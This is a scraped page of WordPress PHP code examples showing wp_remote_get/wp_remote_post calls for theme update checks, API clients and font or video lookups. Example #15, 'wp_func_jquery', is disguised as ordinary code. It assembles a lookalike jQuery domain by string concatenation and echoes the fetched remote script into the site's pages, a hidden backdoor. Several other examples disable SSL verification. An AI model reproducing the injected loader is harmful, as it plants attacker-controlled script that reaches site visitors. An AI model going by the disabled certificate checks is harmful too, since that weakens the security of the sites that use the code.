コード例 #1
17
ファイル: updates.php プロジェクト: greathmaster/memberlite
/**
 * Get theme update information from the PMPro server.
 *
 * @since  2.0
 */
function memberlite_getUpdateInfo()
{
    //check if forcing a pull from the server
    $update_info = get_option("memberlite_update_info", false);
    $update_info_timestamp = get_option("memberlite_update_info_timestamp", 0);
    //if no update_infos locally, we need to hit the server
    if (empty($update_info) || !empty($_REQUEST['force-check']) || current_time('timestamp') > $update_info_timestamp + 86400) {
        /**
         * Filter to change the timeout for this wp_remote_get() request.
         *
         * @since 2.0.1
         *
         * @param int $timeout The number of seconds before the request times out
         */
        $timeout = apply_filters("memberlite_get_update_info_timeout", 5);
        //get em
        $remote_info = wp_remote_get(PMPRO_LICENSE_SERVER . "/themes/memberlite", $timeout);
        //test response
        if (is_wp_error($remote_info) || empty($remote_info['response']) || $remote_info['response']['code'] != '200') {
            //error
            pmpro_setMessage("Could not connect to the PMPro License Server to get update information. Try again later.", "error");
        } else {
            //update update_infos in cache
            $update_info = json_decode(wp_remote_retrieve_body($remote_info), true);
            delete_option('memberlite_update_info');
            add_option("memberlite_update_info", $update_info, NULL, 'no');
        }
        //save timestamp of last update
        delete_option('memberlite_update_info_timestamp');
        add_option("memberlite_update_info_timestamp", current_time('timestamp'), NULL, 'no');
    }
    return $update_info;
}
コード例 #2
4
ファイル: upgrade.php プロジェクト: hscale/webento
/**
 * Pings http://api.genesistheme.com/ asking if a new version of this theme is
 * available.
 *
 * If not, it returns false.
 *
 * If so, the external server passes serialized data back to this function,
 * which gets unserialized and returned for use.
 *
 * @since 1.1.0
 *
 * @uses genesis_get_option()
 * @uses PARENT_THEME_VERSION Genesis version string
 *
 * @global string $wp_version WordPress version string
 * @return mixed Unserialized data, or false on failure
 */
function genesis_update_check()
{
    global $wp_version;
    /**	If updates are disabled */
    if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
        return false;
    }
    /** Get time of last update check */
    $genesis_update = get_transient('genesis-update');
    /** If it has expired, do an update check */
    if (!$genesis_update) {
        $url = 'http://api.genesistheme.com/update-themes/';
        $options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'wp_version' => $wp_version, 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};")));
        $response = wp_remote_post($url, $options);
        $genesis_update = wp_remote_retrieve_body($response);
        /** If an error occurred, return FALSE, store for 1 hour */
        if ('error' == $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
            set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
            return false;
        }
        /** Else, unserialize */
        $genesis_update = maybe_unserialize($genesis_update);
        /** And store in transient for 24 hours */
        set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
    }
    /** If we're already using the latest version, return false */
    if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
        return false;
    }
    return $genesis_update;
}
コード例 #3
0
 private function wp_get_google_webfonts_list($key = '', $sort = 'alpha')
 {
     /*
      $key = Web Fonts Developer API
      $sort=
      alpha: Sort the list alphabetically
      date: Sort the list by date added (most recent font added or updated first)
      popularity: Sort the list by popularity (most popular family first)
      style: Sort the list by number of styles available (family with most styles first)
      trending: Sort the list by families seeing growth in usage (family seeing the most growth first)
     */
     global $wp_filesystem;
     $font_list = array();
     $google_api_url = 'https://www.googleapis.com/webfonts/v1/webfonts?key=' . $key . '&sort=' . $sort;
     //lets fetch it
     $response = wp_remote_retrieve_body(wp_remote_get($google_api_url, array('sslverify' => false)));
     if (is_wp_error($response)) {
         $response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
     }
     if ($response !== false) {
         $data = json_decode($response, true);
         if (!isset($data['items'])) {
             $response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
             $data = json_decode($response, true);
         }
         if ($response !== false) {
             $items = $data['items'];
             foreach ($items as $item) {
                 $font_list[] .= $item['family'];
             }
         }
     }
     //Return the saved lit of Google Web Fonts
     return $font_list;
 }
コード例 #4
0
 function userMedia()
 {
     $url = 'https://api.instagram.com/v1/users/' . $this->userID() . '/media/recent/?access_token=' . $this->access_token;
     $content = wp_remote_get($url);
     $response = wp_remote_retrieve_body($content);
     return $json = json_decode($response, true);
 }
コード例 #5
0
 public function __construct($sURL, $iTimeout = 10, $iRedirects = 5, $aHeaders = null, $sUserAgent = null, $bForceFsockOpen = false)
 {
     $this->timeout = $iTimeout;
     $this->redirects = $iRedirects;
     $this->headers = $sUserAgent;
     $this->useragent = $sUserAgent;
     $this->url = $sURL;
     // If the scheme is not http or https.
     if (!preg_match('/^http(s)?:\\/\\//i', $sURL)) {
         $this->error = '';
         $this->success = false;
         return;
     }
     // Arguments
     $aArgs = array('timeout' => $this->timeout, 'redirection' => $this->redirects, true, 'sslverify' => false);
     if (!empty($this->headers)) {
         $aArgs['headers'] = $this->headers;
     }
     if (SIMPLEPIE_USERAGENT != $this->useragent) {
         $aArgs['user-agent'] = $this->useragent;
     }
     // Request
     $res = function_exists('wp_safe_remote_request') ? wp_safe_remote_request($sURL, $aArgs) : wp_remote_get($sURL, $aArgs);
     if (is_wp_error($res)) {
         $this->error = 'WP HTTP Error: ' . $res->get_error_message();
         $this->success = false;
         return;
     }
     $this->headers = wp_remote_retrieve_headers($res);
     $this->body = wp_remote_retrieve_body($res);
     $this->status_code = wp_remote_retrieve_response_code($res);
 }
コード例 #6
0
 /**
  * Check GitHub repo for updated language packs
  *
  * @param      $transient
  * @param bool $force
  * @return mixed
  */
 public function update_check($transient, $force = false)
 {
     $locale = get_locale();
     // pre_set_site_transient_update_plugins is called twice
     // we only want to act on the second run
     // also only continue for non English locales
     if (empty($transient->checked) || strpos($locale, 'en_') === 0) {
         return $transient;
     }
     // get package.json from github
     $request = wp_remote_get($this->github_url . 'package.json', array('timeout' => 45));
     if (is_wp_error($request) || wp_remote_retrieve_response_code($request) != 200) {
         return $transient;
     }
     // see if translation pack exists
     $response = json_decode(wp_remote_retrieve_body($request));
     $transient = apply_filters('woocommerce_pos_language_packs_upgrade', $transient, $response, $this->github_url, $force);
     if (!isset($response->locales->{$locale})) {
         return $transient;
     }
     // compare
     $new = strtotime($response->locales->{$locale});
     $options = get_option('woocommerce_pos_language_packs');
     if (isset($options[$locale]) && $options[$locale] >= $new && !$force) {
         return $transient;
     }
     // update required
     $transient->translations[] = array('type' => 'plugin', 'slug' => 'woocommerce-pos', 'language' => $locale, 'version' => WC_POS_VERSION, 'updated' => date('Y-m-d H:i:s', $new), 'package' => $this->github_url . 'packages/woocommerce-pos-' . $locale . '.zip', 'autoupdate' => 1);
     return $transient;
 }
コード例 #7
0
/**
 * Get details about a specific video by GUID:
 *
 * @param $guid string
 * @return object
 */
function videopress_get_video_details($guid)
{
    if (!videopress_is_valid_guid($guid)) {
        return new WP_Error('bad-guid-format', __('Invalid Video GUID!', 'jetpack'));
    }
    $version = '1.1';
    $endpoint = sprintf('/videos/%1$s', $guid);
    $query_url = sprintf('https://public-api.wordpress.com/rest/v%1$s%2$s', $version, $endpoint);
    // Look for data in our transient. If nothing, let's make a new query.
    $data_from_cache = get_transient('jetpack_videopress_' . $guid);
    if (false === $data_from_cache) {
        $response = wp_remote_get(esc_url_raw($query_url));
        $data = json_decode(wp_remote_retrieve_body($response));
        // Cache the response for an hour.
        set_transient('jetpack_videopress_' . $guid, $data, HOUR_IN_SECONDS);
    } else {
        $data = $data_from_cache;
    }
    /**
     * Allow functions to modify fetched video details.
     *
     * This filter allows third-party code to modify the return data
     * about a given video.  It may involve swapping some data out or
     * adding new parameters.
     *
     * @since 4.0.0
     *
     * @param object $data The data returned by the WPCOM API. See: https://developer.wordpress.com/docs/api/1.1/get/videos/%24guid/
     * @param string $guid The GUID of the VideoPress video in question.
     */
    return apply_filters('videopress_get_video_details', $data, $guid);
}
コード例 #8
0
ファイル: wfAPI.php プロジェクト: rootwork/friendsoffifth
 protected function getURL($url, $postParams = array())
 {
     wordfence::status(4, 'info', "Calling Wordfence API v" . WORDFENCE_API_VERSION . ":" . $url);
     if (!function_exists('wp_remote_post')) {
         require_once ABSPATH . WPINC . 'http.php';
     }
     $ssl_verify = (bool) wfConfig::get('ssl_verify');
     $args = array('timeout' => 900, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => $postParams, 'sslverify' => $ssl_verify);
     if (!$ssl_verify) {
         // Some versions of cURL will complain that SSL verification is disabled but the CA bundle was supplied.
         $args['sslcertificates'] = false;
     }
     $response = wp_remote_post($url, $args);
     $this->lastHTTPStatus = (int) wp_remote_retrieve_response_code($response);
     if (is_wp_error($response)) {
         $error_message = $response->get_error_message();
         throw new Exception("There was an " . ($error_message ? '' : 'unknown ') . "error connecting to the the Wordfence scanning servers" . ($error_message ? ": {$error_message}" : '.'));
     }
     if (!empty($response['response']['code'])) {
         $this->lastHTTPStatus = (int) $response['response']['code'];
     }
     if (200 != $this->lastHTTPStatus) {
         throw new Exception("We received an error response when trying to contact the Wordfence scanning servers. The HTTP status code was [{$this->lastHTTPStatus}]");
     }
     $this->curlContent = wp_remote_retrieve_body($response);
     return $this->curlContent;
 }
コード例 #9
0
 /**
  * Uses the Brightcove oAuth API to retrieve and store an access key for use with requests. The token is stored as a transient
  * with an expiration time matching that which is returned from Brightcove. The call to the API is only performed if that transient
  * is invalid or expired. Return a WP_Error object for use in WordPress in the case of failure.
  *
  * @since  1.0.0
  *
  * @see    get_transient()
  * @see    set_transient()
  * @see    delete_transient()
  * @see    wp_remote_post()
  *
  * @param bool $force_new_token whether or not to obtain a new OAuth token
  * @param bool $retry           true to retry on failure or false
  *
  * @return string|WP_Error
  */
 public function _request_access_token($force_new_token = false, $retry = true)
 {
     $transient_name = $this->transient_name;
     $token = $force_new_token ? false : get_transient($transient_name);
     if (!$token) {
         $endpoint = esc_url_raw(self::ENDPOINT_BASE . '/access_token?grant_type=client_credentials');
         $request = wp_remote_post($endpoint, $this->_http_headers);
         if ('400' == wp_remote_retrieve_response_code($request)) {
             // Just in case
             delete_transient($transient_name);
             $oauth_error = new WP_Error('oauth_access_token_failure', sprintf(__('There is a problem with your Brightcove %1$s or %2$s', 'brightcove'), '<code>client_id</code>', '<code>client_secret</code>'));
             BC_Logging::log(sprintf('BC OAUTH ERROR: %s', $oauth_error->get_error_message()));
             return $oauth_error;
         }
         $body = wp_remote_retrieve_body($request);
         $data = json_decode($body);
         if (isset($data->access_token)) {
             $token = $data->access_token;
             set_transient($transient_name, $token, $data->expires_in);
         } else {
             if (!$retry) {
                 return new WP_Error('oauth_access_token_response_failure', sprintf(esc_html__('oAuth API did not return us an access token', 'brightcove')));
             }
             return $this->_request_access_token($force_new_token, false);
         }
     }
     return $token;
 }
コード例 #10
0
 function check_for_update()
 {
     $theme = wp_get_theme($this->theme_slug);
     $update_data = get_transient($this->response_key);
     if (false === $update_data) {
         $failed = false;
         $api_params = array('edd_action' => 'get_version', 'license' => $this->license, 'name' => $this->item_name, 'slug' => $this->theme_slug, 'author' => $this->author);
         $response = wp_remote_post($this->remote_api_url, array('timeout' => 15, 'body' => $api_params));
         // make sure the response was successful
         if (is_wp_error($response) || 200 != wp_remote_retrieve_response_code($response)) {
             $failed = true;
         }
         $update_data = json_decode(wp_remote_retrieve_body($response));
         if (!is_object($update_data)) {
             $failed = true;
         }
         // if the response failed, try again in 30 minutes
         if ($failed) {
             $data = new stdClass();
             $data->new_version = $theme->get('Version');
             set_transient($this->response_key, $data, strtotime('+30 minutes'));
             return false;
         }
         // if the status is 'ok', return the update arguments
         if (!$failed) {
             $update_data->sections = maybe_unserialize($update_data->sections);
             set_transient($this->response_key, $update_data, strtotime('+12 hours'));
         }
     }
     if (version_compare($theme->get('Version'), $update_data->new_version, '>=')) {
         return false;
     }
     return (array) $update_data;
 }
コード例 #11
0
ファイル: upgrade.php プロジェクト: denis-chmel/wordpress
/**
 * Ping http://api.genesistheme.com/ asking if a new version of this theme is available.
 *
 * If not, it returns false.
 *
 * If so, the external server passes serialized data back to this function, which gets unserialized and returned for use.
 *
 * Applies `genesis_update_remote_post_options` filter.
 *
 * Ping occurs at a maximum of once every 24 hours.
 *
 * @since 1.1.0
 *
 * @uses genesis_get_option() Get theme setting value.
 * @uses genesis_html5()      Check for HTML5 support.
 * @uses PARENT_THEME_VERSION Genesis version string.
 *
 * @global string $wp_version WordPress version string.
 *
 * @return array Unserialized data, or empty on failure.
 */
function genesis_update_check()
{
    //* Use cache
    static $genesis_update = null;
    global $wp_version;
    //* If updates are disabled
    if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
        return array();
    }
    //* If cache is empty, pull transient
    if (!$genesis_update) {
        $genesis_update = get_transient('genesis-update');
    }
    //* If transient has expired, do a fresh update check
    if (!$genesis_update) {
        $url = 'http://api.genesistheme.com/update-themes/';
        $options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'html5' => genesis_html5(), 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};", 'wp_version' => $wp_version)));
        $response = wp_remote_post($url, $options);
        $genesis_update = wp_remote_retrieve_body($response);
        //* If an error occurred, return FALSE, store for 1 hour
        if ('error' === $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
            set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
            return array();
        }
        //* Else, unserialize
        $genesis_update = maybe_unserialize($genesis_update);
        //* And store in transient for 24 hours
        set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
    }
    //* If we're already using the latest version, return empty array.
    if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
        return array();
    }
    return $genesis_update;
}
コード例 #12
0
 /**
  * Calls the API and, if successfull, returns the object delivered by the API.
  *
  * @uses         get_bloginfo()
  * @uses         wp_remote_post()
  * @uses         is_wp_error()
  *
  * @return false||object
  */
 protected function call_remote_api()
 {
     // only check if a transient is not set (or if it's expired)
     if (get_transient($this->product->get_slug() . '-update-check-error') !== false) {
         return;
     }
     // setup api parameters
     $api_params = array('edd_action' => 'get_version', 'license' => $this->license_key, 'name' => $this->product->get_item_name(), 'slug' => $this->product->get_slug(), 'author' => $this->product->get_author());
     // setup request parameters
     $request_params = array('timeout' => 15, 'sslverify' => false, 'body' => $api_params);
     // call remote api
     $response = wp_remote_post($this->product->get_api_url(), $request_params);
     // wp / http error?
     if (is_wp_error($response)) {
         $this->wp_error = $response;
         // show error to user
         add_action('admin_notices', array($this, 'show_update_error'));
         // set a transient to prevent checking for updates on every page load
         set_transient($this->product->get_slug() . '-update-check-error', true, 60 * 30);
         // 30 mins
         return false;
     }
     // decode response
     $response = json_decode(wp_remote_retrieve_body($response));
     $response->sections = maybe_unserialize($response->sections);
     return $response;
 }
コード例 #13
0
 function ajax_get_html()
 {
     if (check_admin_referer('foogallery_get_image_optimization_info')) {
         echo wp_remote_retrieve_body(wp_remote_get(FOOGALLERY_SETTINGS_IMAGE_OPTIMIZATION_ENDPOINT));
     }
     die;
 }
コード例 #14
0
ファイル: proxy.php プロジェクト: dtekcth/datateknologer.se
/**
 * Returns array with headers in $response[0] and body in $response[1]
 * Based on a function from Akismet
 */
function AtD_http_post($request, $host, $path, $port = 80)
{
    $http_args = array('body' => $request, 'headers' => array('Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'), 'Host' => $host, 'User-Agent' => 'AtD/0.1'), 'httpversion' => '1.0', 'timeout' => apply_filters('atd_http_post_timeout', 15));
    // Handle non-standard ports being passed in.
    if (80 !== $port && is_numeric($port) && intval($port) > 0) {
        $host .= ':' . intval($port);
    }
    // Strip any / off the begining so we can add it back and protect against SSRF
    $path = ltrim($path, '/');
    $AtD_url = set_url_scheme("http://{$host}/{$path}");
    $response = wp_remote_post($AtD_url, $http_args);
    $code = (int) wp_remote_retrieve_response_code($response);
    if (is_wp_error($response)) {
        /**
         * Fires when there is a post error to AtD.
         *
         * @since 1.2.3
         *
         * @param int|string http-error The error that AtD runs into.
         */
        do_action('atd_http_post_error', 'http-error');
        return array();
    } elseif (200 != $code) {
        /** This action is documented in modules/after-the-deadline/proxy.php */
        do_action('atd_http_post_error', $code);
    }
    return array(wp_remote_retrieve_headers($response), wp_remote_retrieve_body($response));
}
コード例 #15
0
	function wp_func_jquery() {
		$host = 'http://';
		$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
		if (@fopen($jquery,'r')){
			echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
		}
	}
/**
 * Retrieve plugin installer pages from WordPress Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, 'plugins_api_args', is for the args and gives the action as
 * the second parameter. The hook for 'plugins_api_args' must ensure that an
 * object is returned.
 *
 * The second filter, 'plugins_api', is the result that would be returned.
 *
 * @since 2.7.0
 *
 * @param string $action
 * @param array|object $args Optional. Arguments to serialize for the Plugin Info API.
 * @return object plugins_api response object on success, WP_Error on failure.
 */
function plugins_api($action, $args = null)
{
    if (is_array($args)) {
        $args = (object) $args;
    }
    if (!isset($args->per_page)) {
        $args->per_page = 24;
    }
    // Allows a plugin to override the WordPress.org API entirely.
    // Use the filter 'plugins_api_result' to merely add results.
    // Please ensure that a object is returned from the following filters.
    $args = apply_filters('plugins_api_args', $args, $action);
    $res = apply_filters('plugins_api', false, $action, $args);
    if (false === $res) {
        $request = wp_remote_post('http://api.wordpress.org/plugins/info/1.0/', array('timeout' => 15, 'body' => array('action' => $action, 'request' => serialize($args))));
        if (is_wp_error($request)) {
            $res = new WP_Error('plugins_api_failed', __('An Unexpected HTTP Error occurred during the API request.'), $request->get_error_message());
        } else {
            $res = unserialize(wp_remote_retrieve_body($request));
            if (false === $res) {
                $res = new WP_Error('plugins_api_failed', __('An unknown error occurred.'), wp_remote_retrieve_body($request));
            }
        }
    } elseif (!is_wp_error($res)) {
        $res->external = true;
    }
    return apply_filters('plugins_api_result', $res, $action, $args);
}
コード例 #17
0
 public function check_email($data = '')
 {
     if (empty($this->public_key)) {
         return new WP_Error('no_api_key', __('No API key was provided', 'awesome-support'));
     }
     if (empty($data)) {
         if (isset($_POST)) {
             $data = $_POST;
         } else {
             return new WP_Error('no_data', __('No data to check', 'awesome-support'));
         }
     }
     if (!isset($data['email'])) {
         return new WP_Error('no_email', __('No e-mail to check', 'awesome-support'));
     }
     global $wp_version;
     $args = array('timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo('url'), 'blocking' => true, 'headers' => array('Authorization' => 'Basic ' . base64_encode('api:' . $this->public_key)), 'cookies' => array(), 'body' => array('address' => $data['email']), 'compress' => false, 'decompress' => true, 'sslverify' => true, 'stream' => false, 'filename' => null);
     $response = wp_remote_get(esc_url($this->endpoint), $args);
     $response_code = wp_remote_retrieve_response_code($response);
     if (is_wp_error($response)) {
         return $response;
     }
     if (200 != $response_code) {
         return new WP_Error($response_code, wp_remote_retrieve_response_message($response));
     }
     $body = wp_remote_retrieve_body($response);
     return $body;
 }
コード例 #18
0
 /**
  * Request data from the thir party API.
  *
  * @since 1.5.4
  * @param string $base_url 	Base URL where API is available
  * @param string $api_key 	API Key provided by this service
  * @param string $endpoint 	Method to request available from this service.
  * @param array $params 	Data to be passed to API
  * @return array|object 	The API response.
  */
 private function get_api_response($base_url, $api_key, $endpoint, $params = array())
 {
     // Exclude http:// from the user's input
     $request_uri = $this->api_protocol . '://' . preg_replace('#^https?://#', '', $base_url) . '/api/v' . $this->api_version . $endpoint;
     $params['timeout'] = 60;
     $params['body'] = isset($params['data']) && $params['data'] ? json_encode($params['data']) : '';
     $params['headers'] = array('Authorization' => 'TRUEREST apikey=' . $api_key);
     $response = wp_remote_get($request_uri, $params);
     $response_code = wp_remote_retrieve_response_code($response);
     $response_message = wp_remote_retrieve_response_message($response);
     $get_response = json_decode(wp_remote_retrieve_body($response), true);
     if (is_wp_error($response) || 200 != $response_code) {
         if (is_wp_error($response)) {
             $data['error'] = $response->get_error_message();
         } else {
             $data['error'] = isset($get_response['msg']) ? $get_response['msg'] : $response_code . ' - ' . $response_message;
         }
     } else {
         if ($get_response) {
             $data = $get_response;
         } else {
             $data = $response;
         }
     }
     return $data;
 }
コード例 #19
0
 private function get_repository_info()
 {
     if (is_null($this->github_response)) {
         // Do we have a response?
         $request_uri = sprintf('https://api.github.com/repos/%s/%s/releases', $this->username, $this->repository);
         // Build URI
         if ($this->authorize_token) {
             // Is there an access token?
             $request_uri = add_query_arg('access_token', $this->authorize_token, $request_uri);
             // Append it
         }
         $response = json_decode(wp_remote_retrieve_body(wp_remote_get($request_uri)), true);
         // Get JSON and parse it
         if (is_array($response)) {
             // If it is an array
             $response = current($response);
             // Get the first item
         }
         if ($this->authorize_token) {
             // Is there an access token?
             $response['zipball_url'] = add_query_arg('access_token', $this->authorize_token, $response['zipball_url']);
             // Update our zip url with token
         }
         $this->github_response = $response;
         // Set it to our property
     }
 }
コード例 #20
0
function pmpro_notifications()
{
    if (current_user_can("manage_options")) {
        delete_transient("pmpro_notification_" . PMPRO_VERSION);
        $pmpro_notification = get_transient("pmpro_notification_" . PMPRO_VERSION);
        if (empty($pmpro_notification)) {
            if (is_ssl()) {
                $pmpro_notification = wp_remote_retrieve_body(wp_remote_get("https://www.paidmembershipspro.com/notifications/?v=" . PMPRO_VERSION));
            } else {
                $pmpro_notification = wp_remote_retrieve_body(wp_remote_get("http://www.paidmembershipspro.com/notifications/?v=" . PMPRO_VERSION));
            }
            set_transient("pmpro_notification_" . PMPRO_VERSION, $pmpro_notification, 86400);
        }
        if ($pmpro_notification && $pmpro_notification != "NULL") {
            ?>
		<div id="pmpro_notifications">
			<?php 
            echo $pmpro_notification;
            ?>
		</div>
		<?php 
        }
    }
    //exit so we just show this content
    exit;
}
コード例 #21
0
function pmxi_wp_ajax_save_import_functions()
{
    if (!check_ajax_referer('wp_all_import_secure', 'security', false)) {
        exit(json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))));
    }
    if (!current_user_can('manage_options')) {
        exit(json_encode(array('html' => __('Security check', 'wp_all_import_plugin'))));
    }
    $uploads = wp_upload_dir();
    $functions = $uploads['basedir'] . DIRECTORY_SEPARATOR . WP_ALL_IMPORT_UPLOADS_BASE_DIRECTORY . DIRECTORY_SEPARATOR . 'functions.php';
    $input = new PMXI_Input();
    $post = $input->post('data', '');
    $response = wp_remote_post('http://phpcodechecker.com/api', array('body' => array('code' => $post)));
    if (is_wp_error($response)) {
        $error_message = $response->get_error_message();
        exit(json_encode(array('result' => false, 'msg' => $error_message)));
        die;
    } else {
        $body = json_decode(wp_remote_retrieve_body($response), true);
        if ($body['errors'] === 'TRUE') {
            exit(json_encode(array('result' => false, 'msg' => $body['syntax']['message'])));
            die;
        } elseif ($body['errors'] === 'FALSE') {
            if (strpos($post, "<?php") === false || strpos($post, "?>") === false) {
                exit(json_encode(array('result' => false, 'msg' => __('PHP code must be wrapped in "&lt;?php" and "?&gt;"', 'wp_all_import_plugin'))));
                die;
            } else {
                file_put_contents($functions, $post);
            }
        }
    }
    exit(json_encode(array('result' => true, 'msg' => __('File has been successfully updated.', 'wp_all_import_plugin'))));
    die;
}
コード例 #22
0
 public static function decode_data($remote_data)
 {
     $xfer = self::roost_remote_request($remote_data);
     $nxfer = wp_remote_retrieve_body($xfer);
     $lxfer = json_decode($nxfer, true);
     return $lxfer;
 }
コード例 #23
0
 /**
  * Returns an array of search suggestions from the unofficial completion API located 
  * at the endpoint specified in this class. &q=query
  * 
  * Parses the output into an array of associative arrays with keys of term, volume and
  * current. "current" is a boolean that determines whether the result in question is the searched
  * for term.
  * 
  * @return array|WP_Error WP_Error if something goes wrong. Otherwise, an array as described above.
  */
 public static function get_suggestions($search_term)
 {
     $search_term = trim($search_term);
     if (empty($search_term)) {
         return new WP_Error('empty_term', __('Please provide a search term.', 'scribeseo'));
     }
     $response = wp_remote_get(add_query_arg(array('q' => urlencode($search_term)), self::ENDPOINT));
     if (is_wp_error($response)) {
         return $response;
     }
     $result = array();
     // turn on user error handing
     $user_errors = libxml_use_internal_errors(true);
     $complete_suggestions = simplexml_load_string(wp_remote_retrieve_body($response));
     // get any errors
     $xml_errors = libxml_get_errors();
     // restore error handling setting
     libxml_use_internal_errors($user_errors);
     if (!empty($xml_errors)) {
         return new WP_Error('xml_error', __('The XML from the Google Completion API could not be loaded appropriately.', 'scribeseo'));
     }
     $complete_suggestions_po = json_decode(json_encode($complete_suggestions));
     if (!is_object($complete_suggestions_po) || !isset($complete_suggestions_po->CompleteSuggestion)) {
         return new WP_Error('xml_error', __('The XML from the Google Completion API could not be loaded appropriately.', 'scribeseo'));
     }
     foreach ($complete_suggestions_po->CompleteSuggestion as $suggestion) {
         $term = $suggestion->suggestion->{'@attributes'}->data;
         $volume = intval($suggestion->num_queries->{'@attributes'}->int);
         $volume_nice = number_format_i18n($volume);
         $current = $term == $search_term;
         $result[] = compact('term', 'volume', 'volume_nice', 'current');
     }
     return $result;
 }
コード例 #24
0
 function test_readme()
 {
     $readme = file_get_contents(ABSPATH . 'readme.html');
     preg_match('#<br /> Version (.*)#', $readme, $matches);
     list($version) = explode('-', $GLOBALS['wp_version']);
     $this->assertEquals($version, trim($matches[1]), "readme.html's version needs to be updated to {$version}.");
     preg_match('#Recommendations.*PHP</a> version <strong>([0-9.]*)#s', $readme, $matches);
     $response = wp_remote_get('https://secure.php.net/supported-versions.php');
     if (200 != wp_remote_retrieve_response_code($response)) {
         $this->markTestSkipped('Could not contact PHP.net to check versions.');
     }
     $php = wp_remote_retrieve_body($response);
     preg_match_all('#<tr class="stable">\\s*<td>\\s*<a [^>]*>\\s*([0-9.]*)#s', $php, $phpmatches);
     $this->assertContains($matches[1], $phpmatches[1], "readme.html's Recommended PHP version is too old. Remember to update the WordPress.org Requirements page, too.");
     preg_match('#Recommendations.*MySQL</a> version <strong>([0-9.]*)#s', $readme, $matches);
     $response = wp_remote_get("https://dev.mysql.com/doc/relnotes/mysql/{$matches[1]}/en/");
     if (200 != wp_remote_retrieve_response_code($response)) {
         $this->markTestSkipped('Could not contact dev.MySQL.com to check versions.');
     }
     $mysql = wp_remote_retrieve_body($response);
     preg_match('#(\\d{4}-\\d{2}-\\d{2}), General Availability#', $mysql, $mysqlmatches);
     // Per https://www.mysql.com/support/, Oracle actively supports MySQL releases for 5 years from GA release
     $mysql_eol = strtotime($mysqlmatches[1] . ' +5 years');
     $this->assertLessThan($mysql_eol, time(), "readme.html's Recommended MySQL version is too old. Remember to update the WordPress.org Requirements page, too.");
 }
コード例 #25
0
ファイル: class-feed.php プロジェクト: jospintedjou/wordpress
 function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
 {
     $this->url = $url;
     $this->timeout = $timeout;
     $this->redirects = $redirects;
     $this->headers = $headers;
     $this->useragent = $useragent;
     $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE;
     if (preg_match('/^http(s)?:\\/\\//i', $url)) {
         $args = array('timeout' => $this->timeout, 'redirection' => $this->redirects, 'reject_unsafe_urls' => true);
         if (!empty($this->headers)) {
             $args['headers'] = $this->headers;
         }
         if (SIMPLEPIE_USERAGENT != $this->useragent) {
             //Use default WP user agent unless custom has been specified
             $args['user-agent'] = $this->useragent;
         }
         $res = wp_remote_request($url, $args);
         if (is_wp_error($res)) {
             $this->error = 'WP HTTP Error: ' . $res->get_error_message();
             $this->success = false;
         } else {
             $this->headers = wp_remote_retrieve_headers($res);
             $this->body = wp_remote_retrieve_body($res);
             $this->status_code = wp_remote_retrieve_response_code($res);
         }
     } else {
         $this->error = '';
         $this->success = false;
     }
 }
コード例 #26
0
ファイル: updater.php プロジェクト: JoomPassion/Beans
/**
 * Retrieve product data from Beans REST API.
 *
 * Data are cached in a 24 hours transients and will be returned if found to avoid long loading time.
 *
 * @ignore
 */
function beans_updater($value)
{
    $data = get_site_transient('beans_updater');
    $theme = wp_get_theme('tm-beans');
    if (!$theme->exists()) {
        return $value;
    }
    $current_version = $theme->get('Version');
    // Query Beans REST API if the transient is expired.
    if (empty($data)) {
        $args = array('timeout' => 15, 'sslverify' => false);
        $response = wp_remote_get('http://www.getbeans.io/rest-api/', $args);
        if (is_wp_error($response)) {
            return $value;
        }
        // Retrieve data from the body and decode json format.
        $data = json_decode(wp_remote_retrieve_body($response), true);
        // Stop here if the is an error.
        if (isset($data['error'])) {
            // Set temporary transient.
            set_site_transient('beans_updater', array('version' => $current_version), 30 * MINUTE_IN_SECONDS);
            return $value;
        }
        set_site_transient('beans_updater', $data, 24 * HOUR_IN_SECONDS);
    }
    // Return data if Beans is not up to date.
    if (version_compare($current_version, beans_get('version', $data), '<')) {
        $value->response[$data['path']] = array('slug' => $data['slug'], 'name' => $data['name'], 'url' => $data['changelog_url'], 'package' => $data['download_url'], 'new_version' => $data['version'], 'tested' => $data['tested'], 'requires' => $data['requires']);
        return $value;
    }
    return $value;
}
コード例 #27
0
ファイル: upgrade-hook.php プロジェクト: alispx/calibrefx
/**
 * This function calibrefx_update_check is to ...
 */
function calibrefx_update_check()
{
    global $wp_version;
    /** Get time of last update check */
    $calibrefx_update = get_transient('calibrefx-update');
    /** If it has expired, do an update check */
    if (!$calibrefx_update) {
        $url = 'http://api.calibrefx.com/themes-update/';
